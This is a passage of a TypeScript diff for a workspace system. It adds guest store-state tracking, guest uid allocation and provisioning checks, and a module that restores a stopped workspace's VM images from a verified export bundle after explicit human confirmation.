CoworkError("not_found"); + if (current.state !== "delivered" || current.ackedHoldToken === null) throw new CoworkError("invalid_request"); + if (current.commitConfirmedAt !== null) return { ...current }; + const next: PeerInboxRecord = { ...current, commitConfirmedAt: at, commitOutcome: outcome, version: current.version + 1 }; + this.state.records.set(receiptId, next); + return { ...next }; + } readBody(handle: string): string | undefined { return this.state.bodies.get(handle); } remove(receiptId: string): void { const current = this.state.records.get(receiptId); diff --git a/packages/core/src/cowork/repository.ts b/packages/core/src/cowork/repository.ts index 501682b56..5a88a7777 100644 --- a/packages/core/src/cowork/repository.ts +++ b/packages/core/src/cowork/repository.ts @@ -12,6 +12,8 @@ export interface WorkspaceChange { } type Row = Record; const SESSION_ID = /^s_[0-9a-f]{12}$/; +/** #92 N3: the first guest uid the allocator hands out (below it: the image's system and fixed ids). */ +export const COWORK_GUEST_UID_FIRST = 2001; const POLICIES = new Set(["plan", "dont-ask", "ask", "accept-edits", "auto", "bypass"]); const id = (value: string) => { if (typeof value !== "string" || !/^[A-Za-z0-9][A-Za-z0-9._:-]{0,199}$/.test(value)) throw new CoworkError("invalid_request"); return value; }; const text = (value: string, max = 512) => { if (typeof value !== "string" || !value.trim() || value.length > max || /[\0\r\n]/.test(value)) throw new CoworkError("invalid_request"); return value; }; @@ -148,19 +150,73 @@ export class CoworkRepository { /** Records the backend identity once, at the moment a guest receives the conversation (the conversation set at * `mounted`). Write-once: the same value again is a no-op, any other value is `authority_denied`. A conversation with * a recorded identity has had a guest store, so without cold resume (D10) it can never start fresh again. */ - assignConversationBackend(sessionId: string, backendSessionId: string): void { + assignConversationBackend(sessionId: string, backendSessionId: string, incarnationId?: string): void { const backend = id(backendSessionId); + if (incarnationId !== undefined) id(incarnationId); durableCoworkTransaction(this.rs, () => { - const row = this.one("SELECT backend_session_id, state FROM cowork_conversations WHERE session_id=?", id(sessionId)); + const row = this.one("SELECT backend_session_id, state, store_state FROM cowork_conversations WHERE session_id=?", id(sessionId)); if (!row) throw new CoworkError("not_found"); if (row.state !== "active") throw new CoworkError("authority_denied"); - if (row.backend_session_id !== null && row.backend_session_id !== undefined) { - if (row.backend_session_id !== backend) throw new CoworkError("authority_denied"); - return; - } + // `lost` is terminal (L8): a store the host marked lost (even DURING a native start) is never assigned or sent again, + // so no empty disk starts fresh under the old identity. + if (row.store_state === "lost") throw new CoworkError("cold_resume_unavailable"); + if (row.backend_session_id !== null && row.backend_session_id !== undefined && row.backend_session_id !== backend) throw new CoworkError("authority_denied"); this.run("UPDATE cowork_conversations SET backend_session_id=? WHERE session_id=? AND backend_session_id IS NULL", backend, sessionId); + // #92 N3 (section 3.2): WRITE-AHEAD before the guest receives the set: `none` becomes `started`, so no later resume is + // ever told "fresh" over a store that may exist. The incarnation that received it is recorded with it. + this.run("UPDATE cowork_conversations SET store_state='started' WHERE session_id=? AND store_state='none'", sessionId); + if (incarnationId !== undefined) this.run("UPDATE cowork_conversations SET last_incarnation_id=? WHERE session_id=?", incarnationId, sessionId); + }); + } + /** #92 N3: the conversation's guest store state (`none`, `started`, `created`, `lost`; section 3.2). */ + storeState(sessionId: string): { readonly storeState: "none" | "started" | "created" | "lost"; readonly lastIncarnationId: string | null; readonly runtimeUid: number | null; readonly toolUid: number | null } { + const row = this.one("SELECT store_state, last_incarnation_id, runtime_uid, tool_uid FROM cowork_conversations WHERE session_id=?", id(sessionId)); + if (!row) throw new CoworkError("not_found"); + return { storeState: row.store_state, lastIncarnationId: row.last_incarnation_id ?? null, runtimeUid: row.runtime_uid ?? null, toolUid: row.tool_uid ?? null }; + } + /** #92 N3: the guest completed a turn in a `started` store, so the store exists (`created`). Idempotent; never leaves `lost`. */ + markStoreCreated(sessionId: string): void { + durableCoworkTransaction(this.rs, () => { + const row = this.one("SELECT store_state FROM cowork_conversations WHERE session_id=?", id(sessionId)); + if (!row) throw new CoworkError("not_found"); + if (row.store_state === "none") throw new CoworkError("recovery_required"); // a turn without the write-ahead record + this.run("UPDATE cowork_conversations SET store_state='created' WHERE session_id=? AND store_state='started'", sessionId); + }); + } + /** #92 N3 (CR4 step 9): the store is gone (a `filesystem_mismatch`, a `format-new` plan over a started store, a + * `resume_store_missing` fault). Terminal: such a conversation never resumes and never starts fresh under its identity. */ + markStoreLost(sessionId: string): void { + durableCoworkTransaction(this.rs, () => { + if (!this.one("SELECT 1 FROM cowork_conversations WHERE session_id=?", id(sessionId))) throw new CoworkError("not_found"); + this.run("UPDATE cowork_conversations SET store_state='lost' WHERE session_id=? AND store_state IN ('started','created')", sessionId); + }); + } + /** + * #92 N3 (L7): the conversation's stable guest uids, allocated ONCE, and only through `cowork_guest_uids`, in the same + * transaction that writes them to the conversation. The lowest free pair from `COWORK_GUEST_UID_FIRST` up, skipping every + * uid the workspace's table still holds (retired ones included, until released) and the workspace gid. Idempotent. + */ + allocateGuestUids(sessionId: string, workspaceGid: number): { readonly runtimeUid: number; readonly toolUid: number } { + return durableCoworkTransaction(this.rs, () => { + const row = this.one("SELECT workspace_id, runtime_uid, tool_uid, state FROM cowork_conversations WHERE session_id=?", id(sessionId)); + if (!row) throw new CoworkError("not_found"); + if (row.runtime_uid !== null && row.runtime_uid !== undefined && row.tool_uid !== null && row.tool_uid !== undefined) return { runtimeUid: row.runtime_uid, toolUid: row.tool_uid }; + if (row.state !== "active") throw new CoworkError("authority_denied"); + const held = new Set(this.all("SELECT uid FROM cowork_guest_uids WHERE workspace_id=?", row.workspace_id).map(value => value.uid as number)); + const picked: number[] = []; + for (let uid = COWORK_GUEST_UID_FIRST; uid <= 65533 && picked.length < 2; uid++) if (uid !== workspaceGid && !held.has(uid)) picked.push(uid); + if (picked.length < 2) throw new CoworkError("recovery_required"); + const [runtimeUid, toolUid] = picked as [number, number], at = this.now(); + this.run("INSERT INTO cowork_guest_uids(workspace_id,uid,role,session_id,allocated_at) VALUES(?,?,'runtime',?,?)", row.workspace_id, runtimeUid, sessionId, at); + this.run("INSERT INTO cowork_guest_uids(workspace_id,uid,role,session_id,allocated_at) VALUES(?,?,'tool',?,?)", row.workspace_id, toolUid, sessionId, at); + this.run("UPDATE cowork_conversations SET runtime_uid=?, tool_uid=? WHERE session_id=?", runtimeUid, toolUid, sessionId); + return { runtimeUid, toolUid }; }); } + /** #92 N3: the boot ids of `incarnationId` whose end the host PROVED (`ended_proof` set; D1 evidence), at most 4. */ + endedGuestBoots(workspaceId: string, incarnationId: string): string[] { + return this.all("SELECT guest_boot_id FROM cowork_guest_boots WHERE workspace_id=? AND incarnation_id=? AND ended_proof IS NOT NULL ORDER BY recorded_at LIMIT 4", id(workspaceId), id(incarnationId)).map(value => value.guest_boot_id as string); + } private insertSource(workspaceId: string, input: SourceSelection): WorkspaceSource { const normalized = selection(input), sourceId = this.mint("source"), locationId = this.mint("location"), at = this.now(); this.run("INSERT INTO cowork_sources(source_id,workspace_id,location_id,kind,label,detail_json,desired,state,access,revision,created_at,updated_at) VALUES(?,?,?,?,?,?,'present','preparing',?,1,?,?)", sourceId, workspaceId, locationId, normalized.kind, normalized.label, canonical(normalized.detail), normalized.access, at, at); @@ -194,11 +250,20 @@ export class CoworkRepository { const changed = this.run("UPDATE cowork_operations SET status=?,updated_at=? WHERE workspace_id=? AND operation_id=? AND status='pending'", status, this.now(), workspaceId, operationId); if (changed.changes) this.publish(workspaceId, operationId, "workspace_operation_changed", { operationId, status, terminal: true, ...(supersededBy ? { supersededBy } : {}) }); } + /** Session door D4 fix: the workspace's creation concluded `failed` (S7B's provisioning answered `failed` before any + * guest booted). Such a workspace is terminal for execution: it reserves and binds no conversation and never boots. */ + private requireProvisioned(workspaceId: string): void { + if (this.one("SELECT 1 FROM cowork_operations WHERE workspace_id=? AND method IN ('workspace.create','project.create') AND status='failed' LIMIT 1", workspaceId)) throw new CoworkError("recovery_required"); + } /** Session door D4c: workspace and Project creations whose operation is still pending, i.e. the ones whose post-COMMIT * provisioning may never have run or finished (a crash between the commit and `provision`). Oldest first, bounded. */ - pendingCreations(limit = 1000): { workspaceId: string; operationId: string }[] { - return this.all("SELECT workspace_id, operation_id FROM cowork_operations WHERE status='pending' AND method IN ('workspace.create','project.create') AND workspace_id IS NOT NULL ORDER BY created_at, operation_id LIMIT ?", Math.max(1, Math.min(10_000, Math.floor(limit)))) - .map(row => ({ workspaceId: row.workspace_id, operationId: row.operation_id })); + pendingCreations(limit = 1000, after?: { readonly createdAt: string; readonly operationId: string }): { workspaceId: string; operationId: string; createdAt: string }[] { + const bounded = Math.max(1, Math.min(10_000, Math.floor(limit))); + const where = "status='pending' AND method IN ('workspace.create','project.create') AND workspace_id IS NOT NULL"; + const rows = after === undefined + ? this.all(`SELECT workspace_id, operation_id, created_at FROM cowork_operations WHERE ${where} ORDER BY created_at, operation_id LIMIT ?`, bounded) + : this.all(`SELECT workspace_id, operation_id, created_at FROM cowork_operations WHERE ${where} AND (created_at > ? OR (created_at = ? AND operation_id > ?)) ORDER BY created_at, operation_id LIMIT ?`, after.createdAt, after.createdAt, after.operationId, bounded); + return rows.map(row => ({ workspaceId: row.workspace_id, operationId: row.operation_id, createdAt: row.created_at })); } /** Session door D4c: the provisioning port answered `failed` for a creation: its operation concludes `failed` (terminal), * durably, with a `workspace_operation_changed`. Only a pending creation operation; idempotent. The port's reason text is @@ -208,6 +273,11 @@ export class CoworkRepository { const row = this.one("SELECT method, status FROM cowork_operations WHERE workspace_id=? AND operation_id=?", id(workspaceId), id(operationId)); if (!row || !["workspace.create", "project.create"].includes(row.method)) throw new CoworkError("not_found"); if (row.status !== "pending") return; + // `failed` concludes only for a workspace no guest has ever started (lease epoch 0, stopped): only then can no source + // of it become ready. A booted workspace's late `failed` contradicts an earlier `applied` and stays UNCERTAIN (pending). + // Once concluded, `beginIncarnation` refuses the workspace, so no source can become ready afterwards either. + const workspace = this.get(workspaceId); + if (workspace.leaseEpoch !== 0 || workspace.power !== "stopped") return; this.concludeOperation(workspaceId, operationId, "failed"); }); } @@ -270,7 +340,7 @@ export class CoworkRepository { const normalized = normalizedCreation(input); return this.mutate(context, "workspace.create", "new", normalized, () => { const workspaceId = this.mint("workspace"), ownerId = input.ownership === "project" ? this.mint("project") : this.sessionIdOf(this.mintSessionId()), at = this.now(); - this.run("INSERT INTO cowork_workspaces VALUES(?,?,?,?,'retained',1,1,1,NULL,0,'stopped',?,?)", workspaceId, input.ownership, ownerId, normalized.title, at, at); + this.run("INSERT INTO cowork_workspaces(workspace_id,ownership,owner_id,title,state,config_revision,grant_revision,instruction_revision,incarnation_id,lease_epoch,power,created_at,updated_at) VALUES(?,?,?,?,'retained',1,1,1,NULL,0,'stopped',?,?)", workspaceId, input.ownership, ownerId, normalized.title, at, at); this.run("INSERT INTO cowork_policies VALUES(?,?,?,?,?,1,1,1)", workspaceId, this.mint("policy"), normalized.defaultPolicy, "github-only-feature-branches", canonical(normalized.ceiling)); if (input.ownership === "project") this.run("INSERT INTO cowork_projects VALUES(?,?,?)", ownerId, workspaceId, at); const sources = normalized.sources.map(value => this.insertSource(workspaceId, value)); @@ -322,6 +392,7 @@ export class CoworkRepository { return this.mutate(context, "conversation.bind", id(workspaceId), normalized, () => { if (sessions.hasCommittedSession(normalized.sessionId) !== true) throw new CoworkError("authority_denied"); const current = this.get(workspaceId), selected = this.source(workspaceId, normalized.sourceId), policy = this.policy(workspaceId); + this.requireProvisioned(workspaceId); if (current.ownership === "standalone" && current.ownerId !== normalized.sessionId) throw new CoworkError("authority_denied"); // A conversation may bind a source no guest has acknowledged yet (`preparing`: a workspace is created stopped and its // sources become `ready` only when an incarnation acknowledges them), since creation precedes the first boot. This @@ -357,6 +428,7 @@ export class CoworkRepository { } const workspace = this.get(input.workspaceId); if (workspace.state !== "retained") throw new CoworkError("authority_denied"); + this.requireProvisioned(input.workspaceId); const held = (sessionId: string) => this.one("SELECT 1 FROM cowork_session_reservations WHERE session_id=? UNION ALL SELECT 1 FROM cowork_conversations WHERE session_id=?", sessionId, sessionId) !== null; let sessionId: string; if (workspace.ownership === "standalone") { @@ -390,6 +462,17 @@ export class CoworkRepository { this.run("DELETE FROM cowork_session_reservations WHERE session_id=? AND state='pending'", sessionId); }); } + /** Session door D4 fix: a STANDALONE workspace's pending reservation, unbound and created before `before` (epoch ms), that + * belongs to a request other than `except`. Its request abandoned it (a non-`CoworkError` throw, or a crash, never + * retried); the door withdraws it so the workspace's one conversation can be created again. Read only. */ + abandonedReservation(workspaceId: string, except: { principalId: string; requestId: string }, before: number): string | undefined { + const row = this.one(`SELECT r.session_id FROM cowork_session_reservations r JOIN cowork_workspaces w USING(workspace_id) + WHERE r.workspace_id=? AND w.ownership='standalone' AND r.state='pending' AND r.created_at<=? + AND NOT (r.principal_id=? AND r.request_id=?) + AND NOT EXISTS (SELECT 1 FROM cowork_conversations c WHERE c.session_id=r.session_id) + ORDER BY r.created_at LIMIT 1`, workspaceId, before, except.principalId, except.requestId); + return row?.session_id; + } /** Whether a live reservation holds `sessionId` (the session store's admission for a Cowork row). */ isReservedSession(sessionId: string): boolean { return SESSION_ID.test(sessionId) && this.one("SELECT 1 FROM cowork_session_reservations WHERE session_id=?", sessionId) !== null; @@ -405,6 +488,7 @@ export class CoworkRepository { return this.mutate(context, "conversation.bind", id(workspaceId), normalized, () => { if (sessions.hasCommittedSession(normalized.sessionId) !== true) throw new CoworkError("authority_denied"); const current = this.get(workspaceId), policy = this.policy(workspaceId); + this.requireProvisioned(workspaceId); if (current.ownership === "standalone" && current.ownerId !== normalized.sessionId) throw new CoworkError("authority_denied"); if (this.one("SELECT session_id FROM cowork_conversations WHERE session_id=?", normalized.sessionId)) throw new CoworkError("authority_denied"); this.run("INSERT INTO cowork_conversations(session_id,workspace_id,project_id,location_kind,source_id,relative_cwd,policy,restrictions_json,revision,state,created_at) VALUES(?,?,?,'outputs',NULL,'.',?,?,1,'active',?)", normalized.sessionId, workspaceId, current.ownership === "project" ? current.ownerId : null, policy.defaultPolicy, canonical(policy.ceiling), this.now()); @@ -418,6 +502,7 @@ export class CoworkRepository { const current = this.get(workspaceId); id(incarnationId); if (current.configRevision !== expectedRevision) throw new CoworkError("revision_conflict", current.configRevision); if (current.state !== "retained" || current.power !== "stopped") throw new CoworkError("recovery_required"); + this.requireProvisioned(workspaceId); this.run("UPDATE cowork_workspaces SET incarnation_id=?,lease_epoch=lease_epoch+1,power='starting',updated_at=? WHERE workspace_id=?", incarnationId, this.now(), workspaceId); this.run("UPDATE cowork_sources SET state='preparing',ack_revision=NULL,ack_incarnation_id=NULL WHERE workspace_id=? AND desired='present' AND state='ready'", workspaceId); return { workspaceId, incarnationId, leaseEpoch: current.leaseEpoch + 1, configRevision: current.configRevision, grantRevision: current.grantRevision }; @@ -431,7 +516,24 @@ export class CoworkRepository { return { workspaceId, incarnationId, leaseEpoch, configRevision: current.configRevision, grantRevision: current.grantRevision }; } acknowledgeSource(epoch: GuestEpoch, sourceId: string, revision: number, state: "ready" | "detached"): void { + durableCoworkTransaction(this.rs, () => this.acknowledgeWithin(epoch, sourceId, revision, state)); + } + /** + * #92 N2: the folder shares a guest reported at `shares_mounted`, acknowledged ALL OR NOTHING. Every entry is validated + * first (a present folder source, `preparing`, at the reported revision), then all are acknowledged in ONE transaction: + * a report with any bad entry leaves every source as it was, publishes nothing and concludes no operation. + */ + acknowledgeMountedShares(epoch: GuestEpoch, shares: readonly { readonly sourceId: string; readonly revision: number }[]): void { durableCoworkTransaction(this.rs, () => { + for (const share of shares) { + const source = this.source(epoch.workspaceId, share.sourceId); + if (source.kind !== "folder" || source.desired !== "present" || source.state !== "preparing" || source.revision !== share.revision) throw new CoworkError("stale_acknowledgment"); + } + for (const share of shares) this.acknowledgeWithin(epoch, share.sourceId, share.revision, "ready"); + }); + } + private acknowledgeWithin(epoch: GuestEpoch, sourceId: string, revision: number, state: "ready" | "detached"): void { + { const current = this.get(epoch.workspaceId), selected = this.source(epoch.workspaceId, sourceId); if (!["starting", "running"].includes(current.power) || current.incarnationId !== epoch.incarnationId || current.leaseEpoch !== epoch.leaseEpoch || current.configRevision !== epoch.configRevision || current.grantRevision !== epoch.grantRevision || selected.revision !== revision) throw new CoworkError("stale_acknowledgment"); if (selected.state === state && selected.ackRevision === revision && selected.ackIncarnationId === epoch.incarnationId) return; @@ -441,7 +543,7 @@ export class CoworkRepository { this.run("UPDATE cowork_sources SET state=?,ack_revision=revision,ack_incarnation_id=?,restart_required=0,reason=NULL,updated_at=? WHERE source_id=?", state, epoch.incarnationId, this.now(), sourceId); this.publish(epoch.workspaceId, operationId, "workspace_sources_changed", { sourceId, sourceRevision: revision, state, incarnationId: epoch.incarnationId }); if (!this.one("SELECT 1 FROM cowork_sources WHERE operation_id=? AND state NOT IN ('ready','detached') LIMIT 1", operationId)) this.concludeOperation(epoch.workspaceId, operationId, "applied"); - }); + } } /** Membership predicate only; publication still requires current ready source/write authority. */ githubOnly(workspaceId: string): boolean { diff --git a/packages/core/src/cowork/restore-bundle.ts b/packages/core/src/cowork/restore-bundle.ts new file mode 100644 index 000000000..8f89bd807 --- /dev/null +++ b/packages/core/src/cowork/restore-bundle.ts @@ -0,0 +1,256 @@ +/* + * RESTORE of a `.winterworkspace` bundle into the workspace it was exported from. + * + * What this is. An in-place REPLACEMENT of a stopped workspace's two VM images by an earlier, verified generation, after an + * explicit confirmation. It is not an import into a different Winter home and not the `workspace.restore` un-archive + * operation the docs also list. `exports.validateImport` only passes for the same home, an existing workspace and identical + * volume ids and filesystem UUIDs, so a bundle cannot reconstruct a workspace or move one: "Distinguish relocation/ownership + * transfer from making a second clone: copied IDs must not permit two owners to attach the same workspace" + * (cowork-host-protocol.md). Cross-home transfer needs its own authorized operation and is out of this slice. + * + * Document sentences followed: + * - cowork-host-protocol.md: "Imports are recovery inputs requiring validation and current user authorization, never a route + * to reconstruct permissions from JSON." + * - cowork-storage-security.md: "device and inode changes after an approved move or restore must not change the DEK" and the + * open item "re-recording device/inode after a restore, an approved empty replacement through the existing ApprovalBroker card". + * - cowork-execution-contracts.md: "Missing expected memory/output/instruction storage yields unavailable/recovery state, + * never a new empty replacement or writes into a bare guest mountpoint." + * + * CONFLICT RULES (each has a test that fails without it): + * 1. The bundle is verified completely before anything is touched (structure, integrity index, every sha256). + * 2. `validateImport` must pass: same home, recorded and completed generation, the workspace stopped and unowned, canonical + * state equal to the manifest. It is judged again after the confirmation, because the confirmation awaits a human. + * 3. An older generation than the latest completed one needs `allowOlderGeneration`. + * 4. Replacing the images ALWAYS needs the confirmation port to answer yes; there is no default and no "empty replacement" + * without it. A missing live image is reported to the confirmation as such. + * 5. Nothing is ever deleted. The replaced images move to `restore-aside-/` beside the workspace's images; the + * bundle's shared files are placed in `restored-shared-/` and NEVER merged into the live shared folders (their + * file identities are recorded by the instruction and output layers, which this lane does not own). + * 6. The replacement is an atomic exchange (`renamex_np` RENAME_SWAP), not a copy over the live file. The restored image + * carries the sticky backup exclusion, verified, BEFORE the exchange. + * 7. The file identity is re-recorded through the identity port after the exchange. A failure or crash between the two leaves + * the recorded identity different from the file, which `CoworkVolumes` already refuses as `recovery_required`: it fails closed. + * + * 8. The workspace is HELD from the last check to the identity record: `validateImport` and the live-image inspection are + * repeated synchronously right before the first exchange, and the exchanges and the identity records run with no await + * between them. One restore at a time per workspace in the whole process (a module-level lock, not per instance). + * 9. A bundle must match the digest the database bound to its generation (`CoworkExportContentBinding`). Without that column + * nothing stops a bundle that was rewritten and re-indexed, so `createCoworkWorkspaceRestorer(undefined)` -- the only shape + * production can build today -- refuses every restore. + * 10. Authority, the binding and the manifest's sizes are judged BEFORE a single byte of an image is hashed. + * + * PORTS (production supplies none): `approval` (the ApprovalBroker card) and `identity` (a method on `CoworkVolumes`; the exact + * diff is in the lane report). The backup port is the existing `CoworkVolumeBackup`. + */ +import { closeSync, constants, fchmodSync, fstatSync, lstatSync, mkdirSync, openSync, realpathSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import type { RuntimeStateDb } from "../runtime-state/db"; +import { + BUNDLE_IMAGE_FILES, DEFAULT_BUNDLE_LIMITS, copyFdHashed, ensureDirectories, hashBundleFiles, inspectBundle, lstatOrNull, openRegularAt, outputFromBundle, syncDirectory, writeNewFile, type BundleLimits, +} from "./export-bundle"; +import type { CoworkExportContentBinding } from "./export-writer"; +import { ExportIoError, copyImageFile, hashDescriptor, renameDirect } from "./export-io"; +import { CoworkExportManifest, type CoworkExports } from "./exports"; +import { CoworkLifecycleError, lifecycleFail, lifecycleId } from "./storage-lifecycle"; +import type { CoworkVolumeBackup } from "./volume-backup"; +import type { VolumeFileIdentity, VolumePurpose } from "./volumes"; + +export interface CoworkRestoreConfirmation { + readonly workspaceId: string; readonly exportId: string; readonly generation: number; readonly latest: boolean; + /** What the exchange will replace, so the card can say it: a live image's presence and whether it is the recorded file. */ + readonly images: ReadonlyArray<{ readonly file: "data.ext4" | "env.ext4"; readonly liveExists: boolean; readonly liveMatchesRecord: boolean; readonly bytes: number }>; + readonly sharedFiles: number; + /** The old images are KEPT in this folder name inside the workspace directory; nothing is deleted. */ + readonly asideName: string; +} +/** The existing ApprovalBroker card, behind a port. Production supplies none; absent or false means the restore does not run. */ +export interface CoworkRestoreApproval { confirm(request: CoworkRestoreConfirmation, signal?: AbortSignal): Promise } +/** Re-records an image's device/inode/uid/mode after the exchange. Compare-and-swap on `expected`. SYNCHRONOUS on purpose. */ +export interface CoworkRestoreIdentityPort { + rerecord(change: { readonly workspaceId: string; readonly volumeId: string; readonly purpose: VolumePurpose; readonly expected: VolumeFileIdentity | null; readonly next: VolumeFileIdentity; readonly proof: unknown }): void; +} +export interface CoworkRestorePorts { + readonly exports: CoworkExports; + readonly rs: RuntimeStateDb; + readonly home: string; + readonly backup: CoworkVolumeBackup; + readonly identity: CoworkRestoreIdentityPort; + readonly approval: CoworkRestoreApproval; + /** What the database bound to each generation's bundle contents. Production supplies none until the columns exist. */ + readonly binding: CoworkExportContentBinding; + readonly allowClone?: boolean; + readonly limits?: Partial; + readonly now?: () => string; + /** Isolated fault testing only, never serialized or supplied by an RPC. */ + readonly checkpoint?: (phase: string) => void | Promise; + /** Same, but invoked SYNCHRONOUSLY inside the held section (between the exchanges and the identity records). */ + readonly syncCheckpoint?: (phase: string) => void; +} +export interface RestoreInput { readonly bundlePath: string; readonly proof: unknown; readonly allowOlderGeneration?: boolean; readonly signal?: AbortSignal } +export interface RestoreResult { + readonly workspaceId: string; readonly exportId: string; readonly generation: number; + readonly restored: readonly ("data.ext4" | "env.ext4")[]; readonly asideName: string; readonly sharedName: string | null; +} +export interface CoworkWorkspaceRestorerHandle { restore(input: RestoreInput): Promise } +const PURPOSE = { "data.ext4": "data", "env.ext4": "environment" } as const; +type Row = Record; +/** One restore per workspace in the whole process, whatever instance asks. */ +const HELD = new Set(); + +class Unavailable implements CoworkWorkspaceRestorerHandle { + async restore(): Promise { return lifecycleFail("integration_unavailable"); } +} +/** + * `undefined` is what production passes: every restore refuses `integration_unavailable`. The restorer exists only for a ports + * object that carries the content binding, which no production code can build until `cowork_exports` has the columns. + */ +export function createCoworkWorkspaceRestorer(ports: CoworkRestorePorts | undefined): CoworkWorkspaceRestorerHandle { + return ports ? new CoworkWorkspaceRestorer(ports) : new Unavailable(); +} + +class CoworkWorkspaceRestorer implements CoworkWorkspaceRestorerHandle { + private readonly limits: BundleLimits; + constructor(private readonly ports: CoworkRestorePorts) { + this.limits = { ...DEFAULT_BUNDLE_LIMITS, ...ports.limits }; + if (!ports.binding) lifecycleFail("integration_unavailable"); + } + + async restore(input: RestoreInput): Promise { + const signal = input.signal, { exports, rs } = this.ports; + // 1 and 2. Structure only (no hashing), then authority and the recorded generation, then the binding and sizes. + const bundle = inspectBundle(input.bundlePath, this.limits); + let lock: string | undefined, staging: string | undefined, stagingFd = -1, swapped = 0; + try { + const validated = exports.validateImport(bundle.manifestText, input.proof); + const manifest = CoworkExportManifest.parse(JSON.parse(bundle.manifestText)); + const workspaceId = lifecycleId(manifest.workspace.workspaceId), exportId = manifest.generation.exportId; + const bound = this.ports.binding.read(exportId); + if (!bound || bound.contentDigest !== bundle.integrityDigest) return lifecycleFail("bundle_invalid"); + if (bundle.integrity.exportId !== exportId) return lifecycleFail("bundle_invalid"); + for (const volume of manifest.volumes) if (bundle.files.get(volume.relativePath)?.bytes !== volume.capacityBytes) return lifecycleFail("bundle_invalid"); + // The bundle's shared files, mapped back to the real paths they stand for; an id the record does not hold refuses. + const sharedPaths = [...bundle.files.keys()].filter(path => path.startsWith("shared/")); + const sharedTargets = new Map(); + for (const path of sharedPaths) { + const [, root, ...rest] = path.split("/"); + const real = root === "outputs" ? outputFromBundle(rest.join("/"), bound.outputIds) : rest.join("/"); + if (real === null) return lifecycleFail("bundle_invalid"); + const target = `shared/${root}/${real}`; + if (sharedTargets.has(target) || [...sharedTargets.values()].includes(path)) return lifecycleFail("bundle_invalid"); + sharedTargets.set(target, path); + } + lock = `${realpathSync(this.ports.home)}\0${workspaceId}`; + if (HELD.has(lock)) { lock = undefined; return lifecycleFail("restore_conflict"); } + HELD.add(lock); + await hashBundleFiles(bundle, signal); // only now does a byte of an image get read + + // 3. The generation rule. + if (!validated.latest && input.allowOlderGeneration !== true) return lifecycleFail("restore_conflict"); + const dir = this.workspaceDirectory(workspaceId), asideName = `restore-aside-${exportId}`, sharedName = `restored-shared-${exportId}`; + const leftovers = () => lstatOrNull(join(dir, asideName)) || lstatOrNull(join(dir, sharedName)) || lstatOrNull(join(dir, `.restore-${exportId}`)); + if (leftovers()) return lifecycleFail("restore_conflict"); + const live = this.inspectLive(workspaceId, dir); + // 4. The confirmation. It awaits a human, so everything above is judged again afterwards. + const confirmed = await this.ports.approval.confirm({ workspaceId, exportId, generation: validated.generation, latest: validated.latest, asideName, + images: live.map(image => ({ file: image.file, liveExists: image.exists, liveMatchesRecord: image.matchesRecord, bytes: bundle.files.get(image.file)!.bytes })), sharedFiles: sharedPaths.length }, signal); + if (confirmed !== true) return lifecycleFail("restore_unconfirmed"); + + // 5. Stage: every byte is hashed as it is copied, and must equal the verified index (the bundle is re-read, not trusted). + const candidate = join(dir, `.restore-${exportId}`); + mkdirSync(candidate, { mode: 0o700 }); + staging = candidate; // assigned only once the folder is ours: a failed mkdir must never lead to removing someone else's folder + stagingFd = openStagingFd(staging); + for (const image of live) { + const entry = bundle.files.get(image.file)!, source = openRegularAt(bundle.rootFd, image.file); + try { + if (fstatSync(source).uid !== process.geteuid?.()) return lifecycleFail("bundle_unsafe"); + await copyImageFile(source, join(staging, image.file), { allowClone: this.ports.allowClone, signal }); + } finally { closeSync(source); } + const staged = openRegularAt(stagingFd, image.file); + try { + if (fstatSync(staged).uid !== process.geteuid?.()) return lifecycleFail("bundle_unsafe"); + fchmodSync(staged, 0o600); + if (Number(fstatSync(staged).size) !== entry.bytes || await hashDescriptor(staged, entry.bytes, signal) !== entry.sha256) return lifecycleFail("bundle_invalid"); + // 6a. Exclusion applied and verified on the staged vnode BEFORE it can become the live image. + this.ports.backup.excludeItem(join(staging, image.file), staged); + if (this.ports.backup.verifyItemExcluded(join(staging, image.file), staged) !== true || this.ports.backup.verifyDescriptorExcluded(staged) !== true) return lifecycleFail("backup_exclusion_unavailable"); + } finally { closeSync(staged); } + } + const made = new Set(); + for (const [target, path] of sharedTargets) { + const entry = bundle.files.get(path)!; + ensureDirectories(staging, target, made); + const source = openRegularAt(bundle.rootFd, path); + try { + const copied = await copyFdHashed(source, join(staging, target), { signal }); + if (copied.bytes !== entry.bytes || copied.sha256 !== entry.sha256) return lifecycleFail("bundle_invalid"); + } finally { closeSync(source); } + } + await this.ports.checkpoint?.("staged"); + + // 6b and 7. THE HELD SECTION. Everything from this check to the last identity record is synchronous: no await, so nothing + // in this process can claim, start or change the workspace in between. The checks are repeated here, not trusted from above. + exports.validateImport(bundle.manifestText, input.proof); + if (JSON.stringify(this.inspectLive(workspaceId, dir)) !== JSON.stringify(live)) return lifecycleFail("restore_conflict"); + this.workspaceDirectory(workspaceId); + const rows = rs.db.query("SELECT volume_id,purpose,device,inode,uid,mode FROM cowork_volumes WHERE workspace_id=?").all(workspaceId); + // Past the first exchange nothing is cleaned up: the old images are in the staging folder and a failure leaves the + // recorded identity different from the file (recovery_required). + for (const image of live) { + renameDirect(join(staging, image.file), join(dir, image.file), image.exists ? "swap" : "exclusive"); + swapped++; + this.ports.syncCheckpoint?.(`swapped:${image.file}`); + } + for (const image of live) { + const row = rows.find(candidateRow => candidateRow.purpose === PURPOSE[image.file])!; + const fd = openSync(join(dir, image.file), constants.O_RDONLY | constants.O_NOFOLLOW | constants.O_NONBLOCK); + let next: VolumeFileIdentity; + try { + const st = fstatSync(fd, { bigint: true }); + if (!st.isFile() || st.nlink !== 1n || Number(st.mode & 0o7777n) !== 0o600 || Number(st.uid) !== process.geteuid?.()) return lifecycleFail("recovery_required"); + next = { device: String(st.dev), inode: String(st.ino), uid: Number(st.uid), mode: Number(st.mode & 0o7777n) }; + } finally { closeSync(fd); } + this.ports.identity.rerecord({ workspaceId, volumeId: row.volume_id, purpose: PURPOSE[image.file], proof: input.proof, next, + expected: row.device === null ? null : { device: row.device, inode: row.inode, uid: row.uid, mode: row.mode } }); + } + this.ports.syncCheckpoint?.("identity-recorded"); + + // 8. Keep everything that was replaced, and the bundle's shared files, under their final names. Nothing is deleted. + let sharedKept: string | null = null; + if (sharedPaths.length > 0) { renameDirect(join(staging, "shared"), join(dir, sharedName), "exclusive"); sharedKept = sharedName; } + writeNewFile(join(staging, "RESTORE.json"), Buffer.from(JSON.stringify({ exportId, generation: validated.generation, restoredAt: (this.ports.now ?? (() => new Date().toISOString()))(), + replaced: live.map(image => ({ file: image.file, hadLiveImage: image.exists })) }), "utf8")); + renameDirect(staging, join(dir, asideName), 